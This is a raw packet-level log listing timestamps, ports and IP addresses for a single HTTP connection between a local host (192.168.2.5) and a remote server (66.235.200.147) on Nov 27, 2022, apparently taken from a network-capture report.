Nov 27, 2022 04:36:43.034321070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034333944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034349918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034354925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034363985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034373045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034389973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034394026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034408092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034415960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034425974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034442902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034452915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034461975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034471035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034481049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034499884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034503937 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034518003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034535885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034538031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034554005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034570932 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034571886 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034590960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034605980 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034610033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034621000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034629107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034646988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034658909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034665108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034682989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034692049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034701109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034720898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034723997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034738064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034755945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034759045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034774065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034791946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034791946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034810066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034811974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034846067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034857035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034867048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034895897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034899950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034917116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034917116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034934998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034955025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034956932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034972906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.034977913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.034992933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035011053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035012960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035032988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035037994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035053015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035067081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035068035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035072088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035089016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035093069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035114050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035126925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035131931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035145998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035151958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035161972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035171032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035188913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035192013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035206079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035207033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035226107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035234928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035243988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035263062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035273075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035283089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035290956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035301924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035320044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035329103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035339117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035356045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035358906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035373926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035392046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035393000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035410881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035428047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035428047 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035448074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035449028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035468102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035486937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035485983 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035506964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035511971 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035526037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035540104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035540104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035547972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035561085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035568953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035583973 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035588026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035598040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035615921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035629988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035636902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035650969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035655975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035675049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035693884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035712004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035728931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035748005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035765886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035784960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035801888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035809040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035820961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035840988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035841942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035857916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035865068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035878897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035896063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035914898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035933018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035950899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035970926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.035968065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035968065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035968065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035968065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.035991907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036010981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036030054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036046028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036046028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036047935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036046028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036067009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036072016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036089897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036097050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036097050 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036108971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036115885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036128998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036134958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036148071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036154032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036168098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036173105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036187887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036201000 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036207914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036226034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036226988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036226034 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036247015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036247969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036268950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036268950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036288977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036289930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036310911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036310911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036328077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036329031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036349058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036350012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036367893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036369085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036386013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036389112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036408901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036417961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036428928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036434889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036453962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036459923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036474943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036478996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036495924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036499977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036514997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036521912 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036535025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036539078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036555052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036560059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036575079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036582947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036606073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036607981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036628008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036633015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036645889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036654949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036664009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036673069 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036684990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036689043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036701918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036704063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036720991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036721945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036740065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036746025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036761999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036763906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036778927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036781073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036799908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036814928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036817074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036834002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036835909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036850929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036855936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036868095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036873102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036891937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036909103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036912918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036912918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036926031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036936998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036942959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036955118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036962986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036972046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.036981106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.036999941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037007093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037018061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037023067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037036896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037054062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037070036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037070990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037087917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037097931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037106037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037117004 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037123919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037142038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037158966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037158966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037159920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037175894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037189007 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037194967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037214041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037215948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037231922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037249088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037250996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037250996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037266016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037286997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037286997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037291050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037305117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037309885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037328005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037345886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037363052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037369967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037369967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037380934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037399054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037399054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037399054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037399054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037417889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037429094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037436008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037446976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037455082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037472963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037482023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037493944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037507057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037512064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037525892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037532091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037549019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037565947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037568092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037584066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037590027 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037602901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037611961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037622929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037640095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037657022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037657022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037677050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037679911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037694931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037712097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037714958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037729979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037745953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037755013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037766933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037776947 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037786007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037803888 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037823915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037826061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037842035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037843943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037859917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037872076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037879944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037892103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037900925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037919044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037920952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037936926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.037940979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.037940979 CET	49705	80	192.168.2.5	66.235.200.147
